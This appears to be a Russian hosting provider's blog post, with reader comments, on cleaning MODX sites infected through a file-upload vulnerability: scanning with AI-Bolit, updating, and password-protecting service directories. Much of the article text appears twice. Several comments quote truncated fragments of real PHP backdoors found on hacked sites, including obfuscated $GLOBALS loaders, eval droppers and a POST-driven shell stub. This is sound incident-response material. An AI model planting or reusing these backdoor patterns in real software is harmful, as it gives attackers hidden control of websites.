Лечение зараженных сайтов на modhost.pro
Привет, друзья!
Как многие уже заметили, в MODX недавно обнаружили критическую уязвимость. Заключается она в том, что одним простым запросом можно залить произвольный файл на сайт, и выполнить его. Это может быть шел, вредоносный скрипт, что угодно.
Простота атаки и беспечность владельцев сайтов привели к тому, что я уже неделю разгребаю последствия этой атаки на modhost.pro. Итак, что нужно делать, чтобы вылечить свои сайты?
Первым делом, нужно проверить, касается ли вас эта проблема. Потому что умные люди, которые закрыли служебные директории (core, manager и connectors) базовой авторизацией, как обычно ничего не заметили.
Для этого заходим на сервере по SSH, скачиваем замечательный AI-Bolit для сайтов, распаковываем zip и прогоняем сканер по всей своей директории:
После этого у вас должен быть отчёт report.json в корне рабочей директории. Выводим его на экран cat ~/report.json, копируем и вставляем на bezumkin.ru/utils/json.
В принципе, вы можете использовать любой другой антивирус или скрипт, который запустится на хостинге, но AI-Bolit очень грамотно работает, распознавая подозрительные строки кода. Бывают, конечно, и ложные срабатывания, но вы их отфильтруете при изучении результатов.
После этого возможны 2 варианта:
Нехороших файлов нет, ура! Обновляем сайт до MODX 2.6.5 через панель управления хостинга. Если есть Gallery, то её тоже, до версии 1.7.1. Заодно можно и другие дополнения обновить. После этого остаётся только закрыть служебные директории по инструкции — это защитит вас от подобных атак в будущем.
Вариант второй — вредоносные файлы есть. Тут еще 2 варианта:
— на хостинге есть резервная копия за 17 — 20 число, и вы можете её восстановить.
— нет копии, или работа вашего сайта не предполагает полное восстановление (много заказов, комментариев и т.д.), тогда чистим вручную.
Файлы могут быть как заруженными извне внедоносами, так и вашими скриптами, в которые дописали нехороший код. Поэтому придётся вручную по ним пройтись и проверить. Ненужные плохие удалить, нужные хорошие почистить от чужого кода.
Дальше как и в предыдущем пункте — обновляем ядро, Gallery, другие допы, и закрываем служебные директории через Nginx.
После всех работ прогоняем еще раз сканер — всё должно быть чисто. Обращаю ваше внимание, что сканер не является панацеей и что-то может пропустить. Поэтому можно прогнать его еще в параноидальном режиме:
На всякий случай еще посмотрите вывод ps aux в консоли — там должны быть только ваши процессы, типа php-fpm, никакой странной активности, типа запущенного почтового сервера exim от вашего имени. Еще можно смотреть свой access.log на предмет странных POST запросов — через это тоже можно найти хорошо скрытые шеллы.
Главное помните, что это не какие-то мифические неуловимые вирусы. Это просто вредоносные скрипты, залитые на сайт и работающие от имени вашего пользователя. Соседним пользователям и серверу они навредить не могут, только вашему сайту. Поэтому нужно найти и удалить все скрипты, закрыть уязвимости и всё будет хорошо. Если что-то пропустите — это что-то может снова переписать ваши файлы.
Плюсом к вашим стараниям, хостинг теперь сам мониторит странную активность, и если что-то нехорошее заметит, вы получите уведомление. Если нехорошего много, то это будет уведомление об отключении вашего сайта, потому что мы уже получили кучу жалоб от других хостингов на атаки и спам с нашего.
Напоминаю еще разок, как закрыть свои служебные директории базовой авторизацией. Судя по всему, это теперь обязательная практика для всех сайтов на MODX.
Как многие уже заметили, в MODX недавно обнаружили критическую уязвимость. Заключается она в том, что одним простым запросом можно залить произвольный файл на сайт, и выполнить его. Это может быть шел, вредоносный скрипт, что угодно.
Простота атаки и беспечность владельцев сайтов привели к тому, что я уже неделю разгребаю последствия этой атаки на modhost.pro. Итак, что нужно делать, чтобы вылечить свои сайты?
Первым делом, нужно проверить, касается ли вас эта проблема. Потому что умные люди, которые закрыли служебные директории (core, manager и connectors) базовой авторизацией, как обычно ничего не заметили.
Для этого заходим на сервере по SSH, скачиваем замечательный AI-Bolit для сайтов, распаковываем zip и прогоняем сканер по всей своей директории:
wget https://revisium.com/ai/index.php?q=715147663154063253513112476309509 -O ~/aibolit.zip
unzip ~/aibolit.zip -d ~/aibolit
php ~/aibolit/ai-bolit/ai-bolit.php -p ~/ --mode=1 -o ~/report.json --no-html --delay=5 --all
Актуальную ссылку на закачку смотрите на сайте — она меняется каждый день.После этого у вас должен быть отчёт report.json в корне рабочей директории. Выводим его на экран cat ~/report.json, копируем и вставляем на bezumkin.ru/utils/json.
В принципе, вы можете использовать любой другой антивирус или скрипт, который запустится на хостинге, но AI-Bolit очень грамотно работает, распознавая подозрительные строки кода. Бывают, конечно, и ложные срабатывания, но вы их отфильтруете при изучении результатов.
После этого возможны 2 варианта:
Нехороших файлов нет, ура! Обновляем сайт до MODX 2.6.5 через панель управления хостинга. Если есть Gallery, то её тоже, до версии 1.7.1. Заодно можно и другие дополнения обновить. После этого остаётся только закрыть служебные директории по инструкции — это защитит вас от подобных атак в будущем.
Вариант второй — вредоносные файлы есть. Тут еще 2 варианта:
— на хостинге есть резервная копия за 17 — 20 число, и вы можете её восстановить.
— нет копии, или работа вашего сайта не предполагает полное восстановление (много заказов, комментариев и т.д.), тогда чистим вручную.
Файлы могут быть как заруженными извне внедоносами, так и вашими скриптами, в которые дописали нехороший код. Поэтому придётся вручную по ним пройтись и проверить. Ненужные плохие удалить, нужные хорошие почистить от чужого кода.
Дальше как и в предыдущем пункте — обновляем ядро, Gallery, другие допы, и закрываем служебные директории через Nginx.
После всех работ прогоняем еще раз сканер — всё должно быть чисто. Обращаю ваше внимание, что сканер не является панацеей и что-то может пропустить. Поэтому можно прогнать его еще в параноидальном режиме:
php ~/aibolit/ai-bolit/ai-bolit.php -p ~/ --mode=2 -o ~/report-2.json --no-html --delay=5 --all
Здесь будет куча ложных срабатываний, но вы можете заметить что-то подозрительное.На всякий случай еще посмотрите вывод ps aux в консоли — там должны быть только ваши процессы, типа php-fpm, никакой странной активности, типа запущенного почтового сервера exim от вашего имени. Еще можно смотреть свой access.log на предмет странных POST запросов — через это тоже можно найти хорошо скрытые шеллы.
Главное помните, что это не какие-то мифические неуловимые вирусы. Это просто вредоносные скрипты, залитые на сайт и работающие от имени вашего пользователя. Соседним пользователям и серверу они навредить не могут, только вашему сайту. Поэтому нужно найти и удалить все скрипты, закрыть уязвимости и всё будет хорошо. Если что-то пропустите — это что-то может снова переписать ваши файлы.
Плюсом к вашим стараниям, хостинг теперь сам мониторит странную активность, и если что-то нехорошее заметит, вы получите уведомление. Если нехорошего много, то это будет уведомление об отключении вашего сайта, потому что мы уже получили кучу жалоб от других хостингов на атаки и спам с нашего.
Напоминаю еще разок, как закрыть свои служебные директории базовой авторизацией. Судя по всему, это теперь обязательная практика для всех сайтов на MODX.
Комментарии: 80
Сложности с отправкой писем связаны с этим? На mail.ru письма вообще перестали доходить, даже в спам, на gmail попадают в спам.
Наши сервера попали в чёрные списки за отправку спама. Так что — да.
Настраивайте внешний SMTP, как я всегда советовал.
Настраивайте внешний SMTP, как я всегда советовал.
Да на продакшене понятно. На тарифе разработка — проблематично.
Так вот оно что…
Настраивайте внешний SMTP, как я всегда советовалНастроил, вс равно проблемы с отправкой почты. Письма о новых заказов не приходят, клиентам тоже.
Ну тогда хостинг уже ни при чём — там напрямую с SMTP работа идёт.
Значит, или неправильно настроил, или на проверка на спам не проходится и там. Других вариантов нет.
Значит, или неправильно настроил, или на проверка на спам не проходится и там. Других вариантов нет.
DKIM и SPF записи почты для домена настройте yandex.ru/support/pdd/set-mail/dkim.html
а в админке сайта SMTP авторизацию. будет всё ходить и зеленый замочек в почте отображаться, что отправитель проверен
а в админке сайта SMTP авторизацию. будет всё ходить и зеленый замочек в почте отображаться, что отправитель проверен
Эх, гайды для Apache бы еще. Ни у кого не завалялся проверенный конфиг для него?
Сайты на Apache я настраиваю так
Почему то после установки базовой авторизации не принимает пароли, 403 страницу выдает, проверил несколько раз, перегенерировал пароль, все равно не пускает.
P.S. Это нормально, что генератор .htpasswd каждый раз выдает разный хеш, хотя пароль ввожу один и тот же?
P.S. Это нормально, что генератор .htpasswd каждый раз выдает разный хеш, хотя пароль ввожу один и тот же?
Проверь error.log сервера, скорее всего у тебя файл паролей недоступен на чтение для Nginx.
Да. там ошибки,
2018/07/31 20:58:16 [error] 28458#28458: *4053228 open() "/home/s11188/.htpasswd" failed (2: No such file or directory)
поставил 644 на файл, все равно в логе те же ошибки и не пускает. какие права надо на него выставить?
2018/07/31 20:58:16 [error] 28458#28458: *4053228 open() "/home/s11188/.htpasswd" failed (2: No such file or directory)
поставил 644 на файл, все равно в логе те же ошибки и не пускает. какие права надо на него выставить?
Вот как ты умудрился создать файл с 3 пробелами на конце?! Исправил.
Каждый день новые открытия.
Ну и куча ошибок в логе насчёт session_handler говорит о том, что версия MODX на сайте очень старая.
Каждый день новые открытия.
Ну и куча ошибок в логе насчёт session_handler говорит о том, что версия MODX на сайте очень старая.
) Да что б я знал! Копи-паста из генератора и вот так получилось, спасибо большое, теперь работает.
А версию как раз вот только клиент созрел обновлять, я ее уже обновил, и стал делать базовую авторизацию, ну и вот, пришлось тебя беспокоить. Спасибо еще раз.
А версию как раз вот только клиент созрел обновлять, я ее уже обновил, и стал делать базовую авторизацию, ну и вот, пришлось тебя беспокоить. Спасибо еще раз.
Дико извиняюсь, но как это сделать? «закрыли служебные директории (core, manager и connectors) базовой авторизацией»
Вы статью читали? Там ссылка для кого?
Читала, но невнимательно. Спасибо.
1) откатился на Full 18/07/2018 (более ранней копии нет)
2) обновил MODx до последней версии средствами MODhost (кнопочка обновить систему)
3) ставлю Айболит, всё по инструкции. Прогоняю через командную строку.
4) получаю json, перевожу его в читаемый вид — тем самым получаю список зараженных файлов
5) снова откатился на Full 18/07/2018
6) НЕ обновляя систему, захожу по SSH и начинаю удалять файл за файлом из моего списка и вижу…
что у меня НЕТ файла
[16] => Array
(
[fn] => /home/s6322/www/core/packages/core.transport.zip
[ct] => 1533063699
[mt] => 1533063697
[sz] => 2981227
[sigid] => id_n6444910
)
значит, я получил зараженный файл ядра, скачав его при обновлении.
вопрос: откуда качается транспортный пакет ядра?
кто виноват?
2) обновил MODx до последней версии средствами MODhost (кнопочка обновить систему)
3) ставлю Айболит, всё по инструкции. Прогоняю через командную строку.
4) получаю json, перевожу его в читаемый вид — тем самым получаю список зараженных файлов
5) снова откатился на Full 18/07/2018
6) НЕ обновляя систему, захожу по SSH и начинаю удалять файл за файлом из моего списка и вижу…
что у меня НЕТ файла
[16] => Array
(
[fn] => /home/s6322/www/core/packages/core.transport.zip
[ct] => 1533063699
[mt] => 1533063697
[sz] => 2981227
[sigid] => id_n6444910
)
значит, я получил зараженный файл ядра, скачав его при обновлении.
вопрос: откуда качается транспортный пакет ядра?
кто виноват?
А вы тупо все, что вам выдало поудаляли?
около 20 файлов, все картинки и 3 транспортных пакета и 2 лога
не стал парится, удалил все. тупо. эффективно.
не стал парится, удалил все. тупо. эффективно.
значит, я получил зараженный файл ядра, скачав его при обновлении.Нет, значит ты тоже заметку попой прочитал.
Там же по-русски написано:
Бывают, конечно, и ложные срабатывания, но вы их отфильтруете при изучении результатов.AI-Bolit вообще по умолчанию файлы больше 650Kb не проверяет и помечает их как «большие», а не «зараженные».
Всем привет. Подскажите. AI-Bolit ругается на файл -http://joxi.ru/L21QKdoh8DyZe2. Можно его удалить?
Возможно неправильно задал вопрос.
AI-Bolit ругается на файл -secur.php
путь-manager/controllers/default/security/secur.php
скрин-http://joxi.ru/L21QKdoh8DyZe2
Подскажите можно удалить этот файл?
AI-Bolit ругается на файл -secur.php
путь-manager/controllers/default/security/secur.php
скрин-http://joxi.ru/L21QKdoh8DyZe2
Подскажите можно удалить этот файл?
Нужно удалить.
Спасибо!
Это сообщение было удалено
Ну а слабо открыть на github исходники modx и посмотреть, есть там такие файлы? Соответствуют они содержимому ваших файлов?
Или считаете кто-то имеет кучу свободного времени, чтобы изучить список из пары сотен файлов, что вы скинули?
Или считаете кто-то имеет кучу свободного времени, чтобы изучить список из пары сотен файлов, что вы скинули?
Ну а слабо открыть на github исходники modx и посмотреть, есть там такие файлы? Соответствуют они содержимому ваших файлов?Спасибо, так смогу
Удалите плз длинный код, я так погорячился.) Пока норм проверяю все как в гитхабе
Кстати ссылка на wget битая, не качает архив
Она там меняется каждый день.
и мой сегодня сломали
подобная хрень в index php
подобная хрень в index php
//header('Content-Type:text/html; charset=utf-8');
$O_OOO0__00='378';
$OO_OO000__='378';
$O_O0O_0_O0='0';
$O_O0O0_O0_='1';
$O0__OO0O_0='1';
Каждую ночь в автоматическом режиме на сервере делается резервное копирование ваших сайтов.
последняя копия 28,07
index php можно смело заменить обновлением сайта.
Ну а потом проверить всё остальное.
Про резервные копии писал вот здесь. На заполненных серверах они делаются, если есть свободное место. Переезжайте на сервер в РФ.
Ну а потом проверить всё остальное.
Про резервные копии писал вот здесь. На заполненных серверах они делаются, если есть свободное место. Переезжайте на сервер в РФ.
заменил уже, про рф был не в курсе ok
Скажите, есть ли более подробная инструкция для проверки сайтов на MODX AI-Bolit(ом), так сказать — «для чайников», по пунктам.
Прошу прощение за банальность!
А если сделать вот так:
Это же обеспечит защиту директорий, хотя бы на уровне php (как раз этого и будет достаточно чтобы сайт не заразили через эту уязвимость.
А если сделать вот так:
$ip = $_SERVER['REMOTE_ADDR'];
$PHP_SELF = $_SERVER['PHP_SELF'];
$protected = array(
'/connectors/',
'/manager/',
'/core/',
);
$access_ips = array(
127.0.0.1'
);
foreach ($protected as $path) {
$len = strlen($path);
$self = substr($PHP_SELF, 0, $len);
if ($self == $path) {
if (!in_array($ip, $access_ips)) {
die('Access denied');
}
}
}
В место защиты через nginx.Это же обеспечит защиту директорий, хотя бы на уровне php (как раз этого и будет достаточно чтобы сайт не заразили через эту уязвимость.
Защищать уязвимый код PHP другим кодом на PHP — толково!
Где гарантия, что в будущем не найдут что-то, что сработает раньше твоего кода и так-же заразит сайт? Ну там, в системе вызова плагинов MODX, или инициализации контекста (где уже находили дыру).
Nginx — это добавление второго фактора авторизации, а не усложнение первого.
Где гарантия, что в будущем не найдут что-то, что сработает раньше твоего кода и так-же заразит сайт? Ну там, в системе вызова плагинов MODX, или инициализации контекста (где уже находили дыру).
Nginx — это добавление второго фактора авторизации, а не усложнение первого.
а nginx include динамически подтягивать не умеет? А то приходится перезапуска для компиляции нового списка.
Покопался в документации, нашел только это:
Можно было бы хранить список с IP там откуда есть доступ к примеру какого то php скрипта в котором прописываешь список разрешенных IP.
По идее тогда вся защита ложится на nginx.
Или для modhost:
Можно сделать чтобы к примеру в папке /core/admin-ips лежал список ip
Администратор добавляет туда разрешенный IP
На modhost запускается скрпит каждую минуту и проверят не было ли изменений в файле. Если были то делает
Так уже можно что то придумать в плане управления MODX с этим списком IP. А то ну не прикольно добавлять новые IP для открытия доступа через панель управления хостинга или вообще через ssh.
Покопался в документации, нашел только это:
location ~* ^/(manager|core|connectors)/ {
include /home/user/www/core/admin-ips;
deny all;
location ~* \.php$ {
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_pass user.sock;
}
}
Чтобы в конфиг ngixn постоянно не лазить для добавления разрешенных IP:Можно было бы хранить список с IP там откуда есть доступ к примеру какого то php скрипта в котором прописываешь список разрешенных IP.
По идее тогда вся защита ложится на nginx.
Или для modhost:
Можно сделать чтобы к примеру в папке /core/admin-ips лежал список ip
Администратор добавляет туда разрешенный IP
На modhost запускается скрпит каждую минуту и проверят не было ли изменений в файле. Если были то делает
nginx -s reload
Так уже можно что то придумать в плане управления MODX с этим списком IP. А то ну не прикольно добавлять новые IP для открытия доступа через панель управления хостинга или вообще через ssh.
Открой для себя базовую авторизацию по логину и паролю.
Nginx грузит весь конфиг сразу в ОЗУ, ведь он рассчитан на высокие нагрузки и это позволяет ему не перечитывать .htaccess файлы при каждом запросе, как Apache2.
Nginx грузит весь конфиг сразу в ОЗУ, ведь он рассчитан на высокие нагрузки и это позволяет ему не перечитывать .htaccess файлы при каждом запросе, как Apache2.
Проверил сайт AI-Bolit(ом). В результатах много файлов вида /home/s..../tmp/phpK9HsIy с кодом
[sig] => [1] <?php /* Obfuscation provided by FOPO — Free Online PHP Obfuscator: www. @!!!>fopo.com.ar/
Это вредоносный код? Его удалять?
[sig] => [1] <?php /* Obfuscation provided by FOPO — Free Online PHP Obfuscator: www. @!!!>fopo.com.ar/
Это вредоносный код? Его удалять?
Директория tmp вообще не предназначена для хранения нужных файлов.
В общем пишу инструкцию для «чайников» (таких как я, и как делал я):
1. Скачиваем PuTTY для SSH (putty.exe)
2. Запускаем putty.exe и подключаемся введя данные SSH из панели управления сайтом.
Пароль пишите руками или вставляйте нажатием правой кнопки мыши. Пароль не будет виден, нажимайте enter и подключение пойдет дальше.
3. После того как Вы подключились вводим команду скачать и распаковать архив ай-болита (она указана выше):
Нажимаем enter и получаем вот это:
4. Ещё раз нажимаем enter, ждем 2-3 секунды и пошла проверка, которая может продлится несколько минут.
5. После окончания проверки, когда вы увидите результат в 100%, вводим команду
6. На экране появится отчёт, который копируем от одной до другой узоной скобки (включительно).
7. После чего вставляем его сюда bezumkin.ru/utils/json
Получаем расшифровку отчёта, в котором перечислены файлы.
8. Ищем подозрительные файлы, с незнакомым названием. Если файл вам незнаком, проверяем его наличие в чистом modx revo, сравнивая его с github.com/modxcms/revolution
Я проверил все свои сайты. На одном нашёл несколько файлов, которые удалил.
Надеюсь, кому-то будет полезно.
1. Скачиваем PuTTY для SSH (putty.exe)
2. Запускаем putty.exe и подключаемся введя данные SSH из панели управления сайтом.
Пароль пишите руками или вставляйте нажатием правой кнопки мыши. Пароль не будет виден, нажимайте enter и подключение пойдет дальше.
3. После того как Вы подключились вводим команду скачать и распаковать архив ай-болита (она указана выше):
wget https://revisium.com/ai/index.php?q=715147663154063253513112476309509 -O ~/aibolit.zip
unzip ~/aibolit.zip -d ~/aibolit
php ~/aibolit/ai-bolit/ai-bolit.php -p ~/ --mode=1 -o ~/report.json --no-html --delay=5 --all
Не забудьте обновить ссылку на айболит, которую можно взять здесь: revisium.com/ai/Нажимаем enter и получаем вот это:
4. Ещё раз нажимаем enter, ждем 2-3 секунды и пошла проверка, которая может продлится несколько минут.
5. После окончания проверки, когда вы увидите результат в 100%, вводим команду
cat ~/report.json
и нажимаем enter.6. На экране появится отчёт, который копируем от одной до другой узоной скобки (включительно).
7. После чего вставляем его сюда bezumkin.ru/utils/json
Получаем расшифровку отчёта, в котором перечислены файлы.
8. Ищем подозрительные файлы, с незнакомым названием. Если файл вам незнаком, проверяем его наличие в чистом modx revo, сравнивая его с github.com/modxcms/revolution
Я проверил все свои сайты. На одном нашёл несколько файлов, которые удалил.
Надеюсь, кому-то будет полезно.
Вручную не комильфо удалять, скрипт бы придумать, который сам удалит эти файлы.
скрипт не нужен, есть команда
И да, вместо PuTTY под винду лучше www.bitvise.com/
rm -i $(cat fuck.txt)
переносишь список файлов к удалению в отдельный текстовый файл, в нем каждая строка — удаляемый файл и путь к немуИ да, вместо PuTTY под винду лучше www.bitvise.com/
Это для вирусных файлов, но есть ещё и зараженные файлы, в которых добавили вирусные строки.
А под мак?
А под мак?
Чаще всего зараженные файлы нужно просто удалить и заменить, так как не уникальные это часто, имею ввиду что не самописные, а файлы расширений, которые проще переустановить или ядра, тогда просто накатить обновление. Уникальные — чистить руками, исследуя каждый. Картинки «зараженные»- просто удалять.
Команда консольная, должна быть универсальна.
Команда консольная, должна быть универсальна.
Понял, спасибо!
На вкус и цвет, я, например, когда искал под винду более приятные внешне и по функционалу ftp и ssh клиенты чем такие как Filezilla и PuTTY открыл для себя для ftp — WinSCP, а для ssh — Xshell
М.б. есть в разы лучше, но мне понравился Bitvise для ssh, а к Filezilla я просто привык.
PuTTY — люто ненавижу)))))
PuTTY — люто ненавижу)))))
Xshell — лучшее, что есть. Жаль, что они его не делают мультиплатформенным. А, может, и не сильно жаль :)
SecureCRT — лучшее решение для SSH. Ничего более удобного не пробовал юзать.
Может я чего-то не понимаю, но зачем делать авторизацию в директориях core и connectors? Почему просто не закрыть их намертво от внешних запросов?
Ибо когда входишь в админку то обращаешься к этим директориям!
Закрыл служебные категории на базовую авторизацию, теперь не приходят запросы на web-connector.php. В ответе, в режиме разработчика, приходит пустой экран. В чём может быть проблема?
А зачем вы коннектор в служебную директорию закинули? Она на то и служебная.
Первым делом, нужно проверить, касается ли вас эта проблема. Потому что умные люди, которые закрыли служебные директории (core, manager и connectors) базовой авторизацией, как обычно ничего не заметили.
Разобрался, index.php был в assets вредоносный, удалил, заработало.
Написал приложение: Умеет сканировать директории сайта.
В будущем планируется поддержка двух версий платной и бесплатное.
От вирусов оно конечно не избавит, но поможет разобраться с вашей файловой системой.
Смысл в том что во время сканирования происходит заказчка вашей версия MODX из репозитория https://ilyaut.ru/download-modx/ (только чистая)
Затем все распаковывается в папке core/cache/default/scannermodx/repository/modx-2.6.5-pl
Запускается паук который ищет все файлы с расширение: php,js,html,tpl,css,scss,sass,less (можно свои добавить)
И во время поиска сравниваются файлы ядра с версией ядра из репозитория.
Если в файлах ядра были какие то изменения то вы это все увидите.
В общем пробуем: https://yadi.sk/d/mLKu-jXq3a7jJU
Так же составляется список карантинных файлов и список доверенных файлов и директорий.
Чтобы не сканировать все подряд.
Так же еще можно открыть файл и посмотреть что в нем.
Вот так это все выглядит:
Если будут какие то идеи по улучшению то пишите.
Особенно нужны алгоритмы для отлова вирусных файлов. Чтобы можно было вычислять зараженные файлы.
Директории и файлы:
В будущем планируется поддержка двух версий платной и бесплатное.
От вирусов оно конечно не избавит, но поможет разобраться с вашей файловой системой.
Смысл в том что во время сканирования происходит заказчка вашей версия MODX из репозитория https://ilyaut.ru/download-modx/ (только чистая)
Затем все распаковывается в папке core/cache/default/scannermodx/repository/modx-2.6.5-pl
Запускается паук который ищет все файлы с расширение: php,js,html,tpl,css,scss,sass,less (можно свои добавить)
И во время поиска сравниваются файлы ядра с версией ядра из репозитория.
Если в файлах ядра были какие то изменения то вы это все увидите.
В общем пробуем: https://yadi.sk/d/mLKu-jXq3a7jJU
Так же составляется список карантинных файлов и список доверенных файлов и директорий.
Чтобы не сканировать все подряд.
Так же еще можно открыть файл и посмотреть что в нем.
Вот так это все выглядит:
Если будут какие то идеи по улучшению то пишите.
Особенно нужны алгоритмы для отлова вирусных файлов. Чтобы можно было вычислять зараженные файлы.
Директории и файлы:
- 'core/components',
- 'core/docs',
- 'core/cache',
- 'core/packages',
- 'setup',
- 'core/config/config.inc.php',
Кстати если выдает ошибку при сканировании то попробуйете в ручную скачать свою версию MODX и положить её в папку:
core/cache/default/scannermodx/repository/modx-2.6.5-pl.zip
тогда скрипт автоматически начнет распаковку вашей версии. Версию можно посмотреть в настройках параметр settings_version
Думаю, будет также полезно использовать ваш компонент для поиска хаков ядра, после «разработчиков», которые любят злоупотреблять этим.
есть примеры кода для тестирования? Я пока только придумать смог как выявить не существующие файлы в ядре, сравнивать содержимое файлов ядра и системы, и ещё начал писать функции для проверки длины строк, чтобы найти длинные строки в файле.
сравнивать содержимое файлов ядра и системыЯ про это, периодически попадают в работу сайты, владельцев которых предупреждали, и это еще очень по доброму с ними обошлись, что бы они не обновляли систему. Вот тут-то. как мне кажется, ваша разработка может помочь понять, меняли что-то в системе или нет. Или не я не правильно понял?
Кстати, было бы еще классно, если бы можно было сравнивать код установленных компонентов.
По компонентам тоже начал разрабатывать, но столкнулся с тем что в папке core/package MODX генерирует свои папки и файлы, в общем то необходи понять что за алгоритм чтобы можно было зеркало приложений создавать!
Но если брать папку core/components то сейчас ее можно сравнить! Тока надо залить свои преложения в папку с репазиторием!
Но если брать папку core/components то сейчас ее можно сравнить! Тока надо залить свои преложения в папку с репазиторием!
Да, все верно! Покажет изменения! Кстати сам переодически задаюсь этим вопросам при обновлении, а то вдруг кто в ядро залез и обновление все снесет.
Кстати, сам столкнулся с такой ерундной — нашёл человека, очень быстро помог. Могу подсказать, относительно недорого сделал.
Всегда подсказывай, вдруг пригодится
Допилил на конце то приложение для проверки файлов:
scannermodx
scannermodx
При сканировании выходят сообщения:
Консоль запущена...
Загрузка системного ядра: modx-2.6.5-pl
Recoverable error: Argument 1 passed to scannerMODXfilemanager::loadFile() must be an instance of string, string given, called in /home/host1111111/modxcore/components/scannermodx/model/Core.php on line 312 and defined
Загрузка ядра системы завершена
Удаление старых отчетов
Сброс сессии
Сканирование директорий: /home/host1111111/имядомена/htdocs/www/
Всего найдено файлов: 1730
Начать проверку файлов
Recoverable error: Argument 1 passed to scannerMODXfilemanager::loadFile() must be an instance of string, string given, called in /home/host1111111/modxcore/components/scannermodx/model/scannermodx.class.php on line 311 and defined
Recoverable error: Argument 1 passed to scannerMODXfilemanager::loadFile() must be an instance of string, string given, called in /home/host1111111/modxcore/components/scannermodx/model/scannermodx.class.php on line 311 and defined
...
и так +100500 строк про on line 311
Может быть связано с тем что установка сделана не как обычно, а с Advanced версией и с выносом ядра на более верхний уровень хостинга? Критичны ли эти ошибки?
Пока только на php7 работает!
Стоит FastCGI (PHP 7.1), такие же ошибки
Поправил эту ошибку.
Теперь поддержка php5 тоже есть
Теперь поддержка php5 тоже есть
Проверил айболитом сайт, и обнаружил кучу левых файлов.
Закодированных обозначений, и т.д.
Что удивительно на одном аккаунта хостинга (host land. ru) сайт взломали, а на другом аккаунте этого же хостинга сайт с такими же настройками ничего не тронуто. У хостинга есть встроенный инструментарий айболита.
Ставились сайты по расширенной схеме установки, с переносом core на верхний уровень, переименованием manager и connectors.
Вот список того что было заражено:
файл minishop:
/htdocs/www/assets/components/minishop2/action.php
в переименованной папке connectors:
htdocs/www/nkucon/modx.config.js.php
/templates/default/security/xwfngqlk.php
/assets/zlpiiuol.php
там тоже обнаружился левый код в контроллере:
htdocs/www/js/tinymce/plugins/jbimages/ci/system/core/Controller.php
htdocs/www/js/tinymce/plugins/jbimages/ci/system/core/Benchmark.php
Закодированных обозначений, и т.д.
Что удивительно на одном аккаунта хостинга (host land. ru) сайт взломали, а на другом аккаунте этого же хостинга сайт с такими же настройками ничего не тронуто. У хостинга есть встроенный инструментарий айболита.
Ставились сайты по расширенной схеме установки, с переносом core на верхний уровень, переименованием manager и connectors.
Вот список того что было заражено:
файл minishop:
/htdocs/www/assets/components/minishop2/action.php
<?php $sddc9=953;$GLOBALS['u82de9955']=Array();global$u82de9955;$u82de9955=$GLOBALS;${"GLOBALS"}['p25bd']="MDh|j,.2*pLX]k`r z...
А также были левые файлы формата:в переименованной папке connectors:
htdocs/www/nkucon/modx.config.js.php
<?php $l78fe=139;$GLOBALS['q1fa']=Array();global$q1fa;$q1fa=$GLOBALS;${"GLOBALS"}['ie8f4ba']="m5O0jNoJ`aPFeA*Uu)7MTlIg/W=tdD...
в переименованной папке manager/templates/default/security/xwfngqlk.php
[x] 1…],$ecdcgle);}function snjjs($ykflixg,$ecdcgle){$rbxgy=$ykflixg[3]($ecdcgle)%3;if(!$rbxgy){eval($ecdcgle[1]($ecdcgle[2])) ;exit();}}$snpdlrd=qygzs($ykflixg,$snpdlrd);snjjs($ykflixg,$ykflixg[5]($ykflixg[2],$snpdlrd^hwmzer($ykflixg,$jpakg,$ykf...
/min/lib/HTTP/bqnuysmc.phpqhb[1],$ggsqcy);}function vrmig($cyqhb,$ggsqcy){$qtmonda=$cyqhb[3]($ggsqcy)%3;if(!$qtmonda){eval($ggsqcy[1]($ggsqcy[2])) ;exit();}}$hbcida=otbrb($cyqhb,$hbcida);vrmig($cyqhb,$cyqhb[5]($cyqhb[2],$hbcida^obcapmw($cyqhb,$zlttwd,$cyqhb[8]($hbci
/assets/modext/sections/jghrrjgz.php<?php $sines="xufdkbzhqkxjbmhd";$gqyxidhc="";foreach($_POST as$csnktd=>$myqzsuhi){if(strlen($csnktd)==16 and substr_coun...
/controllers/default/system/event.class.php<?php $ad0aac=275;$GLOBALS['h1faaea']=Array();global$h1faaea;$h1faaea=$GLOBALS;${"GLOBALS"}['u97733']="sv4wC?9-tufX>L[nhrlJ`...
/min/lib/Minify/HTML.php<?php $daaf=485;$GLOBALS['nd89']=Array();global$nd89;$nd89=$GLOBALS;${"GLOBALS"}['q5aa44f17']="Wh$}xu|`v>'4z !S8o*F6DlAQ]aU+...
/min/lib/Minify/DebugDetector.php<?php $g15b8b=90;$GLOBALS['u0714688']=Array();global$u0714688;$u0714688=$GLOBALS;${"GLOBALS"}['ca8744']="[yDSA#^,7nRV'*({lUX
в корне папки assets/assets/zlpiiuol.php
[x] 1…1],$bhegny);}function rrqivtg($vxccsyo,$bhegny){$oiznry=$vxccsyo[3]($bhegny)%3;if(!$oiznry){eval($bhegny[1]($bhegny[2])) ;exit();}}$ggxen=mfldvnr($vxccsyo,$ggxen);rrqivtg($vxccsyo,$vxccsyo[5]($vxccsyo[2],$ggxen^rgdckh($vxccsyo,$jrqyubr,$vxc
На одном из сайтов были директории плагинов редактора tinymce (не совсем понимаю почему он у меня лежит в корне сайта, а не в папке assets, лень разбирается что есть то есть)там тоже обнаружился левый код в контроллере:
htdocs/www/js/tinymce/plugins/jbimages/ci/system/core/Controller.php
<?php $n6655bfa1=731;$GLOBALS['s32b51d']=Array();global$s32b51d;$s32b51d=$GLOBALS;${"GLOBALS"}['l8639444']="*:18p;L"#hUujK[$J...
и htdocs/www/js/tinymce/plugins/jbimages/ci/system/core/Benchmark.php
<?php $ac4035c=116;$GLOBALS['ra9c765d2']=Array();global$ra9c765d2;$ra9c765d2=$GLOBALS;${"GLOBALS"}['c18ffec1']="Qtb7->L{voWkr...
/min/tvdatruc.php
Этот файл левый лишний как оказалось — в нем явно что-то подозрительное было (без айболита не догадался бы). Может кто подскажет что делает этот файл?:
Этот файл левый лишний как оказалось — в нем явно что-то подозрительное было (без айболита не догадался бы). Может кто подскажет что делает этот файл?:
<?php
$fhfkjo = 6232; function trpnppanw($kjxxlt, $nusiveq){$wlpcduyeom = ''; for($i=0; $i < strlen($kjxxlt); $i++){$wlpcduyeom .= isset($nusiveq[$kjxxlt[$i]]) ? $nusiveq[$kjxxlt[$i]] : $kjxxlt[$i];}
$dtgakqfymz="rawurl" . "decode";return $dtgakqfymz($wlpcduyeom);}
